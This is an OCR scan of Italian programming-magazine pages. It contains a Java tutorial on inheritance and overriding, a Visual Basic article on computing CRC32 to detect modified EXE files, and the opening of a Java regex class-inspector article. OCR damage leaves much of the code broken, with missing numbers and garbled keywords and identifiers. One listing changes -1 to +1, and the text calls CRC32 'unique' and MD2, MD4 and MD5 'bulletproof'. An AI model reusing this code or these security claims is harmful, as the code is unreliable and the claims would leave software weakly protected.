final int codicePrimaLettera = 'a'; 
final int numeroLettere = 'z' - 'a' + 1; 
int i = codicePrimaLettera + (genera(numeroLettere)) - 1; 
return (char)i; } 



Ecco il risultato: 



Finora non avevo mai usato la parola final all'inter- 
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no di un metodo. Per le normali variabili, come per i 
campi, final significa "0 valore di questa roba non 
può essere cambiato". La parola final non viene 
usata spesso in questo modo, ma a volte può essere 
utile per chiarire il codice. In questo caso l'ho usata 
per sottolineare che le variabili codicePrimaLettera e 
numeroLettere contengono valori che non verranno 
mai cambiati, cioè sono delle costanti. Puoi usare 
una costante come "etichetta" al posto di un valore. 
Nel nostro caso codicePrimaLettera contiene il codi- 
ce del carattere 'a' nella mappa dei caratteri. Java 
converte i char in int senza fare storie perché sa che 
tutti i char hanno un codice intero, quindi questa 
operazione non comporta una perdita di informa- 
zioni. Ti serve invece un cast esplicito se cerchi di 
convertire un int in char, perché un int può conte- 
nere valori che non corrispondono a nessun caratte- 
re. La costante numeroLettere contiene il numero 
delle lettere dell'alfabeto, calcolato con un semplice 
trucco: visto che i codici dei caratteri alfabetici sono 
"in ordine", ho sottratto il codice di 'a' dal codice di 
'z'e ho aggiunto uno. Naturalmente questo è solo un 
tocco di classe, perché so benissimo quante sono le 
lettere dell'alfabeto inglese (aspetta un momento, 
me lo ricordavo fino a un momento fa...). La riga 
successiva usa il metodo generaO ereditato dalla 
classe madre per ottenere un valore compreso tra 1 
e il numero delle lettere dell'alfabeto. Poi sottrae 
uno, e somma il tutto al codice del carattere 'a'. Il 
risultato viene riconvertito in un un carattere, che 
sarà compreso tra 'a' e 'z' incluse. Provare per crede- 
re... Il metodo generaPasswordQ concatena dieci ca- 
ratteri a caso in una stringa. Forse ricordi il significa- 
to dell'operatore += dalle prime puntate di questo 
corso: 

a += b; 

// e' come scrivere: 
a = a + b; 

Ed ecco un output di GenPassword.mainQ: 



-> phfvjfalb 
-> hwlbjtcox 
-> mbdcfnccm 
-> cmwtvtcbd 
-> zlgonkykc 



I FIGLI CAMBIAMO 

Ora sai come ereditare i membri di una classe e 
come aggiungerne di nuovi. Ma puoi fare di più: 
puoi cambiare una parte del codice che erediti. 

class GenSeq extends GenNum { 
private int n = 0; 
int genera() { 



n + + ; 


return n; } 




public static void main 


(String[] 


arg 


5) { 




GenSeq g = 


new 


Gè 


iSeq(); 








for(int i = 1; 


i < = 


= 5, 


i++) 








g.stampa() 


} 










} 




Nota che in Java una classe può avere molte figlie ma 
una sola madre. In questo caso, abbiamo già scritto 
due figlie di GenNum. Il GenSeq eredita dal Gen- 
Num, e infatti riceve in regalo il metodo stampaQ 
(che usiamo nel mainO). Ma GenSeq ha le sue idee 
su come debbano essere generati i numeri: non vuo- 
le numeri casuali, ma una sequenza progressiva. Ec- 
co l'output della classe: 




Per ottenere questo risultato GenSeq deve "rifiutare" 
il metodo generaQ di GenNum e definire invece la 
propria versione del metodo (non è possibile "rifiu- 
tare" un metodo ereditato senza definirne uno con 
la stessa signature). Quindi GenSeq ha il suo metodo 
generaQ, identico nel nome e negli argomenti a 
quello di GenNum. In questo caso non c'è overloa- 
ding, perché i due metodi non hanno liste di argo- 
menti diverse: sono invece "lo stesso metodo", ma si 



GUARDA CASO 

I numeri generati da 
Math.randomO sono in 
realtà pseudocasuali. 
Non sono strettamente 
"a caso", ma hanno 
una buona apparenza 
di casualità. Di solito, 
per generare numeri 
dall'aspetto casuale, i 
computer fanno calcoli 
su quantità che 
variano in 

continuazione, come il 
contenuto 
dell'orologio di 
sistema. 




COSE CHE NON CAMBIAMO 

Per definire le costanti in Java si usa di solito una convenzione: le costanti 
sono definite come campi e sono al tempo stesso static e final. I loro nomi, 
a differenza di tutti gli altri nomi Java, sono scritti completamente in 
lettere maiuscole, con le parole separate da caratteri '_' {"underscore"). 
Ad esempio: 

class Cerchio { 
static doublé PI_GRECO = 3.14159265358979323846; 

private doublé raggio; 

Cerchio(double raggio) { 
this. raggio = raggio; 



J 

doublé circonferenza(double raggio) { 

return 2 * PI_GRECO * raggio; 
1 



doublé area(double raggio) { 



return raggio * raggio * PI_GRECO; 



_} 

} 

Nel caso di GenPassword ho definito delle costanti locali ad un metodo, 
quindi ho scelto di non usare questa convenzione. 
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trovano in due classi diverse. Quindi il metodo della 
classe figlia si "sovrappone" a quello definito dalla 
classe madre. Questo meccanismo si chiama overrì- 
ding (liberamente traducibile con "sovrascrittura"). 
Si dice che il metodo GenSeq. generaO "fa l'override" 
di GenNum.generaO- 

Nel mainO di GenSeq succede qualcosa di piuttosto 
sorprendente. Il mainO crea un oggetto di classe 
GenSeq e chiama metodo stampaO- 
La classe GenSeq non ha questo metodo, quindi Java 
lo va a cercare nella sua classe madre (se non lo tro- 
vasse lo cercherebbe nell'eventuale madre di que- 
st'ultima, e così via su per la gerarchia delle classi). 



dallo stesso metodo nella sua superclasse. Il risulta- 
to sarà un numero tra 2 e 200. Ecco un esempio di 
output: 




"EREDITARE" IN UML 

Nella notazione UML puoi 
indicare che una classe eredita 
da un'altra classe usando una 
freccia che ha per punta un 
triangolo vuoto. Di solito la 
classe madre si disegna in alto, 
e la classe figlia in basso. 
Nell'immagine puoi vedere la 
"gerarchia" delle classi di 
questo articolo. 



Medio ds 

stampaQ 

genera (negativo: boolean): ini 
generaQ: ini 
generatjange: ini): ini 



GenPassword 


Melhoda 


stampaPasswordO 


generaPasswordQ: String 


gene ra Carati e re Q: char 



GenSeq 




GeiiNumPnii 


Memoriti 

generaQ: ini 




Metneds 

generaQ: int 



OVER... COSA? 

L'overloading e 
l'overriding sono due 
operazioni molto di- 
verse, ma è possibile 
sbagliarsi e usare 
Cuna al posto dell'al- 
tra. Mi è capitato di 
scrivere un metodo 
con l'intenzione di 
fare l'overriding del 
metodo della super- 
classe, ma di sbagliare 
l'ordine degli attribu- 
ti. In questo caso Java 
considera i due 
metodi completamen- 
te diversi, e la classe 
finisce per avere un 
metodo overloaded in 
due versioni diverse. 



Il metodo stampaQ che viene eseguito alla fine è 
definito da GenNum e chiama a sua volta il metodo 
generaQ. Ma a questo punto devi ricordare che stia- 
mo usando un oggetto di tipo GenSeq, che ridefini- 
sce il metodo a modo suo. Quindi il flusso del pro- 
gramma "torna giù", e il metodo generaQ che viene 
chiamato da GenNum.stampaQ è quello definito da 
GenSeq! Se ti gira la testa, non preoccuparti: ti ci abi- 
tuerai. Quindi se chiami metodo generaQ su un 
GenSeq, da qualsiasi punto lo chiami (compresa la 
superclasse), verrà sempre eseguito GenSeq.gene- 
raO, non GenNum.generaO. E se volessimo chiama- 
re da una sottoclasse il metodo definito in una 
superclasse? In questo caso dovremmo usare la pa- 
rola chiave super, che significa: "la mia superclasse". 
Ecco un esempio: 

class GenNumPari extends GenNum { 

int generaQ { 

return super.genera() * 2; } 
public static void main(String[] args) { 
GenNumPari g = new GenNumPariQ; 
for(int i = 1; i <= 5; i ++) 
g. stampaQ; 

_J 

} 

Anche GenNumPari ridefinisce generaQ, ma lo fa 
semplicemente raddoppiando il valore restituito 




SI, MA 

A COSA SERVE? 

Al livello più banale l'ereditarietà è un meccanismo 
per riciclare il codice. Se devi scrivere una classe, e 
questa classe non è molto diversa da una già esi- 
stente (che viene magari da una libreria scaricata da 
Internet, o dalle librerie standard di Java) puoi speci- 
ficare solo i punti in cui queste classi sono diverse, 
ed ereditare tutto ciò che è uguale. Questo non è 
sempre facile, e dipende da quanto è scritta bene la 
classe madre. Di norma, le classi con molti piccoli 
metodi ben isolati sono più "riciclabili" di quelle con 
pochi grossi metodoni. Questo "riciclaggio" è una 
bella cosa, ma dopo tutto si può ottenere un risulta- 
to simile con il meccanismo della delega: se vuoi 
usare il metodo GenNum.generaO hai due opzioni: 
puoi ereditare da GenNum (come ho fatto questo 
mese), ma puoi anche semplicemente creare un 
oggetto GenNum e delegargli questa operazione. 
Ecco una versione modificata di GenPassword che 
non eredita da GenNum, ma funziona esattamente 
come la versione precedente: 

class GenPassword { 
private GenNum gn = new GenNumQ; 

char generaCarattere() { 
final int codicePrimaLettera = 'a'; 
final int numeroLettere = 'z' - 'a' + 1; 
int i = codicePrimaLettera + 

(gn.genera(numeroLettere)) + 1; 
return (char)i; } 



Questa variante di GenPassword istanzia un campo 
privato di tipo GenNum e gli delega l'operazione di 
generazione dei numeri. Come vedi, puoi usare l'e- 
reditarietà per riciclare il codice, ma nella gran parte 
dei casi questa funzionalità è utile ma non davvero 
indispensabile. Il vero motivo per cui esiste l'eredi- 
tarietà è più importante: senza ereditarietà non 
potremmo avere quella funzionalità meravigliosa 
che è polimorfismo. Ma questo è un argomento 
complesso, di cui parleremo il mese venturo. 

Paolo Perrotta 
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Impariamo a proteggerci dagli Hacker 



Gli algoritmi 
diHash 

Descriviamo come utilizzare il codice CRC32 (Cyclic Redundancy 
Check) per proteggere le applicazioni e la trasmissione dati. 
Porremo le basi per costruire un'applicazione completa. 



La crittografia è la scienza (arte?) alla base del- 
l' Information security. Essa è utilizzata per 
proteggere i dati da lettori non autorizzati, da 
possibili modifiche e per garantire che i dati proven- 
gano da fonti attendibili. In parole povere, la critto- 
grafia fornisce gli strumenti per trasformare i dati in 
un'altra forma, comprensibile soltanto alle persone 
autorizzate. La crittografia, neW Information Tech- 
nology, può suddividersi in: crittografia a chiave pri- 
vata, crittografia a chiave pubblica, firma di critto- 
grafia e Hash di crittografia. In questo appuntamen- 
to ci occuperemo soltanto degli algoritmi Hash che 
sono alla base dell'ultimo tipo di crittografia. Il pros- 
simo mese approfondiremo invece le conoscenze 
sulla crittografia e vedremo gli strumenti a disposi- 
zione dei programmatori Visual Basic, che permet- 
tono di incorporare tali funzionalità nelle ap- 
plicazioni (la libreria CAPICOM). 
In questo appuntamento, dunque, studieremo un 
algoritmo di Hash (cioè un algoritmo che ricava un 
codice univoco, detto valore di Hash, da una stringa 
o da un file) e come questo possa essere utilizzato 
per rilevare variazioni non autorizzate nei file EXE, 
come dire: teniamo gli hacker alla larga! 
L'algoritmo che prenderemo in considerazione è il 
CRC32, Controllo a Ridondanza Ciclica, che di solito 
viene usato per verificare la correttezza dei dati tra- 
smessi sulla rete o tra periferiche ed unità centrale. 
In particolare nel corso dell'articolo vedremo come 
il CRC32 è usato da WinZip e come esempio imple- 
menteremo un'applicazione che consente di gestire 
il CRC32 di un file. 



Carica f»e; C:\crc32.exe 




Fig. 1: II form principale dell'applicazione. 



COME USARE IL CRC32 

Gli algoritmi di Controllo a Ridondanza Ciclico, co- 
me accennato, associano un codice univoco ad un 
testo o ad un file, questo codice può essere di 16 bit 
(2 byte - precisione 2 16 ) o di 32 bit (4 byte) . Nel primo 
caso si tratta dell'algoritmo CRC16 nel secondo del 
CRC32. WinZip, per esempio, utilizza il CRC32 per 
stabilire se un file compresso (zippato) si è corrotto 
(durante il trasporto o durante il download da 
Internet). In Fig. 2 potete constatare che WinZip va- 
luta ed archivia il CRC32 di ogni file. Il codice CRC32, 
successivamente, WinZip lo utilizzerà, nella fase di 
"decompressione", per verificare se il file "decom- 
presso" presenta il codice CRC32 uguale a quello ar- 
chiviato, se ciò non si verifica c'è stata una corruzio- 
ne e WinZip emetterà un "CRC32 errori" (e il file sarà 
inutilizzabile). 
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Fig. 2: WinZip mostra il CRC32 del file crc32.exe. 

Il CRC32 può essere usato, anche, per stabilire se un 
file EXE è stato modificato (da qualche Hacker) per 
eliminare delle restrizioni. Per far ciò basta valutare 
il CRC32 del file, archiviarlo (magari nel file stesso, 
come vedremo nei nostri esempi) e controllarne l'u- 
niformità ad ogni avvio. Naturalmente, quando non 
c'è corrispondenza tra il valore archiviato e quello 
calcolato, il file è stato modificato e quindi bisogna 
bloccarlo. 

Ora vediamo l'algoritmo per il calcolo del CRC32, 
senza però dilungarci su questioni teoriche. 
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CRC32, MD5 ECC 

Il CRC32 in generale è 

utilizzato per rilevare 

errori di trasmissione 

(su internet o tra unità 

centrale e periferiche). 

Per quanto riguarda la 

protezione di dati 

sensibili [Password, 

Chiavi, ...) sono 

utilizzati algoritmi di 

Hash più sicuri (buliet- 

proof) come MD2, 

MD4, MD5 e SHA. MDS 

utilizza uno schema 

Hash a 128 bit one- 

way, SHA (Secure Hash 

Algorithm) a 160 bit. 



Iniziamo descrivendo come creare una tabella (ar- 
ray di nome TabellaCRQ con 256 elementi di 32 bit 
(tipo long) che servirà per il calcolo del CRC32. 



LA TABELLA CRC32 
ED IL SEME 

La creazione della TabellaCRQ e quindi il codice 
CRC32, dipendono da un valore detto "Seme" che 
può essere usato per personalizzare (o rendere più 
sicuro) il CRC32 generato. La TalellaCRC e il Seme- 
CRC li possiamo dichiarare nel modo seguente. 

Private TabellaCRC(255) As Long 

Private Const SemeCRC As Long = &HEDB88320 

Notate che SemeCRC è stato impostato sul valore di 
default (che è il valore di Seme utilizzato da WinZip e 
dalla maggior parte delle applicazioni). I valori della 
TabellaCRC devono essere generati a partire dall'in- 
dice dell'elemento che si sta valutando, modifican- 
dolo attraverso uno Shift a destra (rightshift) senza 
segno. Ricordiamo che il rightshift sposta tutti i bit 
verso destra e riempie con degli zeri i bit di sinistra. 
In Visual Basic per eseguire ciò facciamo: un AND 
con FFFFFFFE, una divisione con 2 ed infine un 
AND con 7FFFFFFF (per eliminare il primo bit di 
sinistra, ricordiamo che 7 in binario è0111).Dopolo 
shift, dobbiamo controllare il bit più a destra del 
valore ricavato (bit meno significativo), se risultasse 
uguale a 1 (questo si capisce facendo un AND con il 
valore 0001) dobbiamo eseguire una operazione di 
XOR tra il valore ricavato ed il valore del Seme. Le 
operazioni precedenti devono essere eseguite otto 
volte, per ogni elemento, per questo bisogna preve- 
dere un ciclo di otto passi. Alla fine di questo ciclo, 
viene ricavato un valore della TabellaCRC. Il tutto 
bisogna ripeterlo per 256 volte (quindi attenzione 
alle performance!). Il codice per creare la tabella può 
essere il seguente. 

Public Sub CreaTabellaCRCQ 

Dim i As Integer 

Dim j As Integer 

Dim TempValCRC As Long 

Dim baseCRC As Long 

For i = To 255 

baseCRC = i 

j = 8 

Do 

TempValCRC = (baseCRC And &HFFFFFFFE) 

\ 2 And &H7FFFFFFF 

If baseCRC And &H1 Then 

baseCRC = TempValCRC Xor SemeCRC 

Else 

baseCRC = TempValCRC 

End If 



j = j - 1 

Loop While j 

TabellaCRC(i) = baseCRC 

Next i 
End Sub 

Ora bisogna definire la procedura che seleziona ogni 
singolo byte di un file ed attraverso dei calcoli basa- 
ti sui valori della TabellaCRC. 
Dato che il file può essere di qualunque dimensione, 
per evitare problemi dobbiamo prevedere la possi- 
bilità di leggere il file a blocchi (di solito si scelgono 
blocchi di 2k byte) e quindi valutare il CRC32 come 
derivato dai CRC32 dei blocchi precedenti (CRCPre- 
cedente). Naturalmente la TabellaCRC32 deve essere 
creata prima di avviare la generazione del CRC32 del 
file. 



COME GENERARE 
IL CRC32 

Ora possiamo definire la procedura per generare 
CRC32 di una stringa (o di un blocco di file generi- 
co). Il CRC32 deve essere valutato attraverso i se- 
guenti passi: 

1 . fare un Rightshift di 8 bit del CRC del blocco pre- 
cedente (CRCPrecedente); 

2. fare uno XOR tra il codice Ascii del carattere 
estratto dalla stringa (blocco) e la parte bassa (gli 
ultimi 8 bit) del CRCprecedente; 

3. fare uno XOR tra il risultato del primo passo e un 
elemento della TabellaCRC il cui indice è dato 
dal risultato ottenuto nel secondo passo. 

Inoltre nei passi precedenti se il CRCPrecedente non 
è definito, bisogna porlo uguale al valore esadecima- 
le FFFFFFFF II codice per la valutazione del CRC32 
conviene inserirlo in una procedura, nominata Ge- 
neraCRCFile, con tre argomenti: la stringa di cui si 
deve calcolare il CRC (FileBuffer), il CRCPrecedente e 
un Boolean che serve per indicare se la stringa (o il 
blocco di file) che si sta elaborando è arrivata alla 
parte finale. Gli ultimi due argomenti vengono uti- 
lizzati quando si valutano dei CRC di stringhe o file 
elaborati a blocchi. 

Public Function GeneraCRCFÌIe(FileBuffer As String, 
CRCPrecedente As Long, UltimoPezzo As Boolean) As Long 
Dim i As Integer 
Dim PrimaParte As Long 
Dim SecondaParte As Long 

Dim IndEleTabellaCRC As Long 

If CRCPrecedente = Then 

CRCPrecedente = &HFFFFFFFF 

End If 

GeneraCRCFile = CRCPrecedente 
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While i <= Len(FileBuffer) 

IndEleTabellaCRC = Asc(Mid$(FileBuffer, i, 1)) 

Xor (GeneraCRCFile And &HFF) 

PrimaParte = (GeneraCRCFile And &HFFFFFF00) 

X&H100 And &HFFFFFF 

SecondaParte = TabellaCRC(IndEleTabellaCRC) 

GeneraCRCFile = PrimaParte Xor SecondaParte 

i = i + 1 

Wend 

If UltimoPezzo = True Then GeneraCRCFile = 

Not GeneraCRCFile 

End Function 

Nella procedura, innanzitutto si controlla il valore 
del CRCPrecedente: se non esiste, s'imposta sul valo- 
re FFFFFFFF. 'Poi viene impostato un ciclo sul blocco 
di byte, passato come argomento, e si seleziona un 
byte (carattere) per volta. Nel ciclo su ogni byte ven- 
gono fatte le operazioni descritte in precedenza. 
Dopo la fine del ciclo si controlla se quello elaborato 
è l'ultimo blocco di byte in caso affermativo si inver- 
tono tutti i bit (con operatore Not) del valore ricava- 
to cosi otteniamo CRC32 (se non è l'ultimo blocco 
il CRC ottenuto sarà il valore del CRCPrecedente). 



IL PROGETTO VB 

Dopo aver presentato la procedura che genera il 
CRC32 di un generico blocco di byte, possiamo de- 
scrivere come calcolare il CRC32 di un file. Per far 
ciò, basta definire una procedura che permette di 
caricare il file a blocchi e di richiamare la Genera- 
CRCFile, impostando opportunamente i valori degli 
argomenti (PrecedenteCRC e UltimoBloccó). Le pro- 
cedure precedenti e quella che descriveremo tra 
poco le dovete inserire in un progetto Visual Basic 
con un modulo di supporto (dove inserire CreaTa- 
bellaCRC e GeneraCRCFile) ed un Form. Quest'ul- 
timo, presentato in Fig. 1, contiene cinque pulsanti 
che permettono rispettivamente di ricercare un file 
(RicFile), di calcolare il CRC32 (CalCRC32), di ag- 
giungere il CRC32 alla fine del file (AggCRC32), di eli- 
minare il CRC32 dal file (EUCRC32) e di verificare se 
il file che ha associato il CRC32 è stato modificato 
(VerCRC32). Inoltre, contiene due textbox uno per il 
path e il nome del file (txtNomeFile) e l'atro per il 
CRC32 (TxtCRC32). Invece, per interagire con file 
system è presente un CommonDialog (il codice per 
la ricerca dei file non lo descriviamo: l'abbiamo visto 
nei precedenti articoli!). Il codice per valutare il 
CRC32 del file, il cui Path si trova nel TxtNomeFile, lo 
inseriamo nella funzione ValutaCRC che invochia- 
mo attraverso l'evento Click del pulsante CalCRC32. 
Il CRC32 ricavato lo inseriamo nel TxtCRC32. 
Di seguito presentiamo il codice delle due procedu- 
re e della Form Load che come accennato deve con- 



tenere un'invocazione alla CreaTabellaCRC. 

Private Sub Form_Load() 
CreaTabellaCRC 
End Sub 

Private Sub CalCRC32_Click() 

TxtCRC32 = ValutaCRC(TxtNomeFile, False) 

End Sub 

Function ValutaCRC(nomefile As String, verifica As 

Boolean) As String 
Dim NumFile As Integer 
Dim FileBuffer As String 

Dim CRC32 As Long 

Dim posfilecrc As Integer 

MousePointer = vbHourglass 

NumFile = FreeFile 

Open nomefile For Binary Access Read As NumFile 

FileBuffer = String$(2048, 0) 

Do 

Get NumFile, , FileBuffer 

If verifica Then 
posfilecrc = 8 

Else 

posfilecrc = 

End If 

If EOF(NumFile) Then FileBuffer = Left(FileBuffer f _ 
2048 - Loc(NumFile) + LOF(NumFile) - posfilecrc) 
CRC32 = GeneraCRCFile(FileBuffer f CRC32, False) 

Loop Until EOF(NumFile) 

Close NumFile 

CRC32 = GeneraCRCFile("", CRC32, True) 

ValutaCRC = Hex(CRC32) 

Me. MousePointer = vbDefault 
End Function 

ValutaCRC ha due parametri Nomefile e Verifica; 
quest'ultimo serve per specificare quando bisogna 
verificare se il file è stato modificato (come capiremo 
tra poco). In ValutaCRC si apre il file in modalità 
Binary, si legge il suo contenuto a blocchi di 2k byte 
(2048 byte), e si passano alla GeneraCRCFile. Notate 
che alla GeneraCRCFile, quando si raggiunge la fine 
del file, sono passati soltanto i byte effettivamente 
letti. Il significato di posfilecrc sarà chiarito tra poco. 
Dopo il Loop su EOFfNumFile), si chiude il file e si 
richiama nuovamente la GeneraCRCFile con l'argo- 
mento UltimoBloccó impostato su True (questo 
indica che bisogna invertire i bit). Infine il valore del 
CRC32 da long è convertito in String. Completiamo 
l'analisi della GeneraCRCFile illustrando come può 
essere utilizzata per verifica se un file, con CRC32 
calcolato, è stato modificato. A tal proposito inseria- 
mo il seguente codice nell'evento Click del pulsante 
VerCRC32. 

Private Sub VerCRC32_Click() 

Dim FileName As String 
FileName = Me. txtNomeFile 





GLOSSARIO 



EDITOR 
HEXEDITOR 

Il contenuto di un file 
binario può essere 
controllato attraverso 
un editor di file binari. 
Noi abbiamo usato 
HexEditor, scaricabile 
dal link 

http://www.hhdsoftware. 
com/hexeditor.html . 
HexEditor è un potente 
editor che consente di 
caricare file binari 
superiori a 2 GB, di 
aprire più file contem- 
poraneamente, di 
utilizzare il Drag&Drop 
ecc. Attenzione a come 
utilizzate questo 
strumento, soprattutto, 
con i file di sistema e 
di applicazioni 
importanti! 
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Dim CRC32Str As String 

Dim FileLength As Long 
Dim FileBuffer As String 
FileLength = FileLen(FileName) 

FileBuffer = String(FileLength, 0) 

'usate FreeFile! 

Open FileName For Binary As #1 

Get #1, 1, FileBuffer 

Close #1 

CRC32Str = Mid(FileBuffer, FileLength - 7, 8) 

If ValutaCRC(Me.txtNomeFile, True) = CRC32Str Then 

MsgBox "File non modificato", vblnformation, 

"Verifica CRC32 positiva" 
Else 

MsgBox "File modificato", vbCritical, "Attenzione" 

End If 

End Sub 



Questa procedura 
legge gli ultimi 8 byte 
del file (che devono 
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Fig. 3: In figura HexEditor mostra il CRC32 aggiunto 
alla fine del file crc32.exe. 



RESOURCE 
HACKER 

Negli esempi, 

presentati nell'articolo, 

il codice CRC32 è stato 

inserito alla fine del 

file binario. In realtà, 

converrebbe inserirlo 

(e crittografarlo) in un 

file di risorse o in una 

DLL. Per controllare e 

modificare un file di 

Risorse potete 

utilizzare Resource 

Hacker scaricabile dal 

link: 

http://rpi.net.au/~ajohnson/ 

resourcehacker. Esso 

permette di gestire le 

risorse dei seguenti 

tipi di file: exe, dll, cpl, 

ocx e res. Resource 

Hacker oltre a leggere 

le risorse permette di 

modificarle. Attenzione 

dunque a come lo 

utilizzate! 



contenere il CRC32 
del file, come capire- 
mo tra poco) e li con- 
fronta con il CRC32, 
ricavato attraverso la 
funzione ValutaCRC 
con l'argomento veri- 
fica impostato posto a True. L'argomento verifica su 
True comporta l'impostazione ad 8 della variabile 
posfllecrc (posizione CRC) e quindi la non lettura dei 
Byte del CRC32 quando si raggiunge la fine del file. 
Notate che se il CRC32 non è presente nel file, l'ap- 
plicazione genera un errore. . . la gestione degli erro- 
ri non l'abbiamo implementata! 



AGGIUNGERE ED 
ELIMINARE UHI CRC32 

Ora descriviamo come aggiungere il CRC32 alla fine 
del file analizzato. A tal fine inseriamo il seguente 
codice nella AggCRC32_Click. 

Private Sub AggCRC32_Click() 

Dim FileName As String 

FileName = Me.txtNomeFile 

Dim FileLength As Long 

FileLength = FileLen(FileName) 

Dim CRC32 As String 

CRC32 = Me.TxtCRC32 

'usate FreeFile! 

Open FileName For Binary As #1 
Put #1, FileLength + 1, CRC32 

Close #1 

MsgBox "CRC32: " & CRC32 & "aggiunto", 

vblnformation + vbOKOnly, "CRC" 

End Sub 



Per eliminare il CRC32 dal file dobbiamo procedere 
nel seguente modo: leggere contenuto del file, 
senza il CRC32, e copiarlo in un file temporaneo; 
cancellare file con il CRC32 (con istruzione Kilt), 
nominare (con istruzione Nome] il file temporaneo 
con il nome del file cancellato. Il codice che fa ciò lo 
inseriamo nella EliCRC32_Click. 

Private Sub EliCRC32_Click() 

Dim FileName As String 

FileName = Me.txtNomeFile 

Dim CRC32 As String 

Dim FileLength As Long 

Dim FileBuffer As String 

FileLength = FileLen(FileName) 

FileBuffer = String(FileLength, 0) 

Open FileName For Binary As #1 
Get #1, 1, FileBuffer 

Close #1 

CRC32 = Mid(FileBuffer, FileLength - 7, 8) 

FileBuffer = Mid(FileBuffer, 1, FileLength - 8) 

TxtCRC32 = CRC32 

Dim path As String 

Dim pos As Integer 

pos = InStr(CommonDialogl. FileName, 

CommonDialogl.FileTitle) 

path = Mid(CommonDialogl. FileName, 1, pos - 1) 

FileName = path + "senza" + CommonDialogl.FileTitle 

Open FileName For Binary As #1 
Put #1, 1, FileBuffer 

Close #1 

Kill path + CommonDialogl.FileTitle 

Name path + "senza" + CommonDialogl.FileTitle _ 

As path + CommonDialogl.FileTitle 
End Sub 



CONCLUSIONI 

In questo articolo abbiamo descritto come imple- 
mentare ed utilizzare l'algoritmo del CRC32. Non 
abbiamo, però, discusso di performance, dell'algo- 
ritmo in Visual Basic, e della necessità di "criptare" 
codice CRC32 per renderlo più sicuro! 
Per quanto riguarda la velocità di elaborazione con 
file di grosse dimensioni, il problema potrebbe esse- 
re risolto calcolando il CRC32 solo delle parti sensi- 
bili del file (dove sono presenti risorse particolari) e 
implementando un algoritmo asincrono per la lettu- 
ra ed elaborazione dei file. Della protezione del 
CRC32, invece, ne discuteremo nel successivo 
appuntamento, quando descriveremo come usare 
gli strumenti di crittografia disponibili nei sistemi 
operativi Windows. 

Con il successivo appuntamento inoltre vi fornire- 
mo il progetto con gli esempi implementati in que- 
sto e nel prossimo articolo. Seguiteci! 

Massimo Autiero 
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Un inspector di classi usando le espressioni regolari del J2SE 1.4 

Codice Java 
sotto esame 

Applicazioni di controllo ed analisi del codice sono presenti negli 
ambienti di sviluppo più evoluti. In questo articolo vediamo come 
implementare da zero un semplice inspector di classi Java. 



Nel corso dell'articolo costruiremo passo 
passo una piccola applicazione grafica di 
analisi di classi Java, capace di esaminare 
il codice di una o più classi di un'applicazione e di 
mostrarne i risultati secondo la Fig. 1. 
Tale esempio costituisce un buon punto di parten- 
za per possibili tool di analisi della qualità del codi- 
ce ed eventualmente di correzione. Da tale base si 
può procedere verso funzionalità più complesse, 
quali ad esempio il reverse engineering, che con- 
sente principalmente di importare il disegno delle 
classi in schemi logici, quali ad esempio un class 
diagram UML. Il nostro inspector, poiché è basato 
principalmente sul parsing dei sorgenti Java, sfrutta 
le potenzialità offerte a partire dal J2SE 1.4 per la 
gestione delle espressioni regolari. Una delle nuove 
caratteristiche aggiunte nel J2SE 1.4 è il nuovo pac- 
kage java.util.regex che permette la gestione di 
espressioni regolari e che sfrutteremo per lo svilup- 
po del nostro inspector. 

ESPRESSIONI 
REGOLARI 

Semplificando i concetti, possiamo dire che un'e- 
spressione regolare è un pattern o template che 
viene confrontato con una stringa rappresentante il 
testo di input. L'interesse verso tali entità è sempre 
stato molto forte nel corso degli anni con applica- 
zione in svariati campi quali: parsing, validazione 
dei dati, manipolazione di stringhe, estrazione dei 
dati. Un semplice esempio di utilizzo di un'espres- 
sione regolare è visibile nel comando che riporta la 
lista dei file contenuti in una directory. Ad esempio 
quando invochiamo il comando dir del DOS (o 
comunque di qualsiasi altra shell di un sistema ope- 
rativo) possiamo scrivere dir *.java. Il parametro 
*.java indica, come sappiamo, di mostrare i file con 
estensione 'java'. Tale parametro altro non è che un 



semplice pattern, rappresentante l'espressione re- 
golare. Vi sono molte regole circa la composizione 
di tali pattern e di seguito mostreremo solo alcune 
delle più importanti. In particolare nella composi- 
zione delle espressioni regolari si utilizzano dei 
caratteri speciali, nominati quantificatori: 

* Indica una qualunque sequenza di caratteri; 
Indica un qualsiasi carattere diverso da quello di 
nuova linea. 
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Per indicare che uno di tali caratteri speciali va con- 
siderato in modo lette- 
rale all'interno dell'e- 
spressione basta farlo 
precedere dal metaca- 
rattere 'V. Utilizzando 
tali caratteri speciali, 
dunque, il pattern mo- 
strato nell'esempio pre- 
cedente anrebbe espres- 
so come *\.java in modo 
tale che il carattere '.' sia 
considerato in modo let- 
terale. Fig. 1: II risultato dell'analisi svolta dal nostro Inspector. 
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LE CLASSI PATTERN 
E MATCHER 

Come detto in precedenza, con il J2SE 1 .4 il suppor- 
to alle espressioni regolari avviene tramite packa- 
ge java.util.regex che contiene due sole classi: 

• Pattern - È una rappresentazione di un'espres- 
sione regolare in forma di stringa 

• Matcher - È il motore che permette di effettuare 
operazioni di ricerca e manipolazione su una 
sequenza di caratteri interpretando un Pattern. 



un 
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CLASSI DI 
CARATTERI 

E' possibile definire, 

all'interno delle 

espressioni regolari, 

degli insiemi di 

caratteri ammessi 

definendone un range 

ed un gruppo. Ad 

esempio l'espressione 

[a-z] definisce la 

possibilità che sia 

presente un carattere 

compreso tra 'a' e 'z'. 



Lo schema logico dell'utilizzo delle classi è mostrato 
in figura. Possiamo notare come il processo sia sud- 
diviso in tre fasi ben precise: 

1. compilazione dell'espressione regolare in un og- 
getto Pattern; 

2. creazione di un oggetto Matcher a partire dal 
Pattern; 

3. utilizzo del Matcher per ricercare/manipolare 
una sequenza di caratteri. 

Come facile esempio, riportiamo di seguito il codice 
necessario a mostrare i file .java contenuti nella 
directory corrente (il codice mostrato è solo a scopo 
didattico, dato che lo stesso risultato potrebbe esse- 
re ottenuto mediante l'uso di una classe Filename- 
Filter). 

File here = new File("."); 

String[] files = here.list(); 

Pattern pat = Pattern. compile("\.java"); 

for(int k=0;k<files.length;k+ + ) { 

Matcher matcher = pat.matcher(files[k]); 

if (matcher. matches()) 

System. out.println(files[k]); } 

La creazione di un oggetto Pattern avviene median- 
te l'invocazione di uno dei due metodi statici compi- 
le, i quali compilano l'espressione specificata in un 
pattern. 



sce un oggetto Matcher, specifico di quella espres- 
sione regolare. 

public Matcher matcher(CharSequence input) 

Notare che, come argomento, il metodo si aspetta 
una sequenza di caratteri rappresentante il testo su 
cui agire ed espresso dall'interfaccia CharSequence. 
Quest'ultima è un'interfaccia generica da cui deriva- 
